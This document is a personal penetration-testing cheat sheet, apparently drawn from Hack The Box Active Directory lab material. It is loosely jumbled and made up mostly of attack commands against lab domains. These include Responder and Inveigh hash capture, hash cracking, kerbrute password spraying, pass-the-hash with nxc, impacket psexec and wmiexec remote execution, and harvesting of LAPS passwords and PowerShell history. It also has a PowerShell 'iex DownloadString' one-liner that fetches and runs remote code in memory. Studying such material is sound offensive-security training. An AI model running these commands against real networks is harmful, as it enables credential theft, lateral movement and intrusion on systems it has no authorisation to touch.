Hack. Eat. Sleep. Repeat!!!
sudo wireshark -E enss224 -A
sudo tcpdump -i ens224
fping,Fping provides us with a similar capability as the standard ping application in that it utilizes ICMP requests and replies to reach out and interact with a host.fping -asgq 172.16.5.0/23
sudo nmap -A -iL hosts.txt -oN result2
jsmith.txt and jsmith2.txt to brute force itkerbrute precompiled releaseskerbrute userenum -d <DOMAIN> --dc 172.16.5.5 jsmith.txt -o valid_ad_users
sudo responder -I ens224
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
john --wordlist=[] hash.txt
/usr/share/responder/logs-:powershell start powershell -v runAs.Using Inveigh-:Invoke-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
.\Inveigh.exe
GET NTLMV2UNIQUE.GET NTLMV2USERNAMES and see which usernames we have collected.ldapsearch -x -H ldap://[ip] -b 'dc=support,dc=htb' -D "support\ldap" -W 'objectClass=user'
objectClass=userldapsearch -x -H ldap://[ip] -b 'dc=support,dc=htb' -D "support\ldap" -W 'objectClass=user'
-n to prevent newline in text file.Use -y to specify passwd file.ldapsearch -x -H ldap://support.htb -b 'dc=support,dc=htb' -D "support\ldap" -W 'objectClass=user' -y passwd
echo -n "password" > passwd
chmod 600 passwd
ldapsearch -x -H ldap://support.htb -b 'cn=support,cn=users,dc=support,dc=htb' -D "support\ldap" '(objectClass=user)' -y passwd
ldapsearch -x -H ldap://support.htb -b 'dc=support,dc=htb' -D "support\ldap" '(objectClass=group)'
ldapsearch -x -H ldap://support.htb -b 'dc=support,dc=htb' -D "support\ldap" '(objectClass=computer)' -y passwd
ldapsearch -x -H ldap://support.htb -b 'dc=support,dc=htb' -D "support\ldap" '(sAMAccountName=*)' -y passwd
pip install bloodhound-ce #community edition
pip install bloodhound #legaacy version
#same syntax tho
[-c -> 'all']-:bloodhound-ce-python -u [user@domain] -p '[password]' -ns [nameserver / IP] -d [domain] -c [collection method]
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol
rpcclient-:rpcclient -U "" -N 172.16.5.5
querydominfo and getdompwinfo.Enum4linux-ngenum4linux -P 172.16.5.5
enum4linux-ng to retrieve the output in a file formatenum4linux-ng -P 172.16.5.5 -oA ilfreight
ldapsearch -H ldap://172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
net use \\host\ipc$ "" /u:""
net accounts
import-module .\PowerView.ps1
Get-DomainPolicy
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
enumdomusersrpcclient -U "" -N 172.16.5.5
nxc’s --users flagnxc smb[host] --users
ldapsearch,it should also be noted that the use of -h is deprecated while -H is the new switch.ldapsearch -H ldap://172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
winldapsearch-:
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
kerbrutekerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
nxc smb 172.16.5.5 -u htb-student -p "Academy_student_AD\!" --users
for u in $(cat valid_ad_users);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
nxc smb 172.16.5.5 -u [file_name] -p Password123 | grep +
nxc smb 172.16.5.5 -u avazquez -p Password123
nxc. The --local-auth flag will tell the tool only to attempt to log in one time on each machine which removes any risk of account lockout. Make sure this flag is set so we don’t potentially lock out the built-in administrator for the domain.nxc smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
-
living off the land with tools that exist solely on the host.Get-MpComputerStatus
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe or PowerShell_ISE.exe. We can see that this is the case in the AppLocker rules shown below.Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$ExecutionContext.SessionState.LanguageMode
Find-LAPSDelegatedGroups-:(This can help us target specific AD users who can read LAPS passwords.)Find-AdmPwdExtendedRights checks the rights on each computer with LAPS enabled for any groups with read access and users with “All Extended Rights.” Users with “All Extended Rights” can read LAPS passwords and may be less protected than users in delegated groups, so this is worth checking for.Get-LAPSComputers function to search for computers that have LAPS enabled when passwords expire, and even the randomized passwords in cleartext if our user has access.nxc(crackmapxec upgraded version)-:nxc smb 172.16.5.5 -u forend -p Klmcargo2 --users
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --loggedon-users
sudo nxc smb 172.16.5.5 -u forend -p Klmcargo2 --loggedon-users
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share "zzzz"
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only
RPCCLIENT-:rpcclient is a handy tool created for use with the Samba protocol and to provide extra functionality via MS-RPC. It can enumerate, add, change, and even remove objects from AD. It is highly versatile; we just have to find the correct command to issue for what we want to accomplish. The man page for rpcclient is very helpful for this; just type man rpcclient into your attack host’s shell and review the options available. Let’s cover a few rpcclient functions that can be helpful during a penetration test.
Samba null session-:
rpcclient -U "" -N 172.16.5.5
RID? A Relative Identifier (RID) is a unique identifier (represented in hexadecimal format) utilized by Windows to track and identify objects.Examples to full understand-:INLANEFREIGHT.local is S-1-5-21-3842939050-3880317879-2865463114queryuser 0x457
enumdomusers
Psexec.py-:impacket-psexec inlanefreight.local/wley:'transporter@4'@172.16.5.125
wmiexec.py-:impacket-wmiexec inlanefreight.local/wley:'transporter@4'@172.16.5.5
windapsearch -m domain-admins --dc 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
windapsearch -m privileged-users --dc 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
Get-Module
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser (We’ll use the Get-ADUser cmdlet. We will be filtering for accounts with the ServicePrincipalName property populated. )Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADTrust -Filter *
Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "Backup Operators"
Get-ADGroupMember -Identity "Backup Operators"
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
hostname-:Prints the PC's name[System.Environment]::OSVersion.Version:Prints out the OS version and revision levelwmic qfe get Caption,Description,HotFixID,InstalledOn:prints the patches to the host:prints out patches to the hostipconfig /all:Network informationset: environmental variablesecho %USERDOMAIN%:prints user domainecho %logonserver%Get-Module:Show modulesGet-ExecutionPolicy -List:prints the execution process for a host:Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won’t be making a permanent change to the victim host.`Get-ChildItem Env: | ft key,value:Return environment values such as key paths, users, computer information, etc.Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt:With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.powershell -nop -c "iex(New-Object New-WebClient).DownloadString('url');Some Command":This is a quick and easy way to download a file from the web using PowerShell and call it from memory.Get-Host
powershell -version 2
netsh advfirewall show allprofiles
sc query windefend::checking if windefender is activeGet-MpComputerStatus:Checking if AV is enabled
qwinsta::checking if an individual is logged in to the hostarp -a::List all hosts in the arp tableipconfig /all::Prints out adapter settings for the host. We can figure out the network segment from here.route print: Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host.| Commands | Description |
|---|---|
| wmic qfe get Caption,Description,HotFixID,InstalledOn | Prints the patch level and description of the Hotfixes applied |
| wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List | Displays basic host information to include any attributes within the list |
| wmic process list /format:list | A listing of all processes on host |
| wmic ntdomain list /format:list | Displays information about the Domain and Domain Controllers |
| wmic useraccount list /format:list | Displays information about all local accounts and any domain accounts that have logged into the device |
| wmic group list /format:list | Information about all local groups |
| wmic sysaccount list /format:list | Dumps information about any system accounts that are being used as service accounts. |
Net commands-:
| Commands | Description |
|———————————|—————————–|
net accounts | Information about password requirements
net accounts /domain |Password and lockout policy
net group /domain |Information about domain groups
net group “Domain Admins” /domain |List users with domain admin privileges
net group “domain computers” /domain |List of PCs connected to the domain
net group “Domain Controllers” /domain |List PC accounts of domains controllers
net group
dsquery user
dsquery computer
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
PASSWD_NOTREQD flag with dsquerydsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
You will notice in the queries above that we are using strings such as userAccountControl:1.2.840.113556.1.4.803:=8192. These strings are common LDAP queries that can be used with several different tools too, including AD PowerShell, ldapsearch, and many others. Let’s break them down quickly:
The identifier userAccountControl:1.2.840.113556.1.4.803: Specifies that we are looking at the User Account Control (UAC) attributes for an object. This portion can change to include three different values we will explain below when searching for information in AD (also known as Object Identifiers (OIDs).
The =8192 represents the decimal bitmask we want to match in this search. This decimal number corresponds to a corresponding UAC Attribute flag that determines if an attribute like password is not required or account is locked is set. These values can compound and make multiple different bit entries. Below is a quick list of potential values.
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))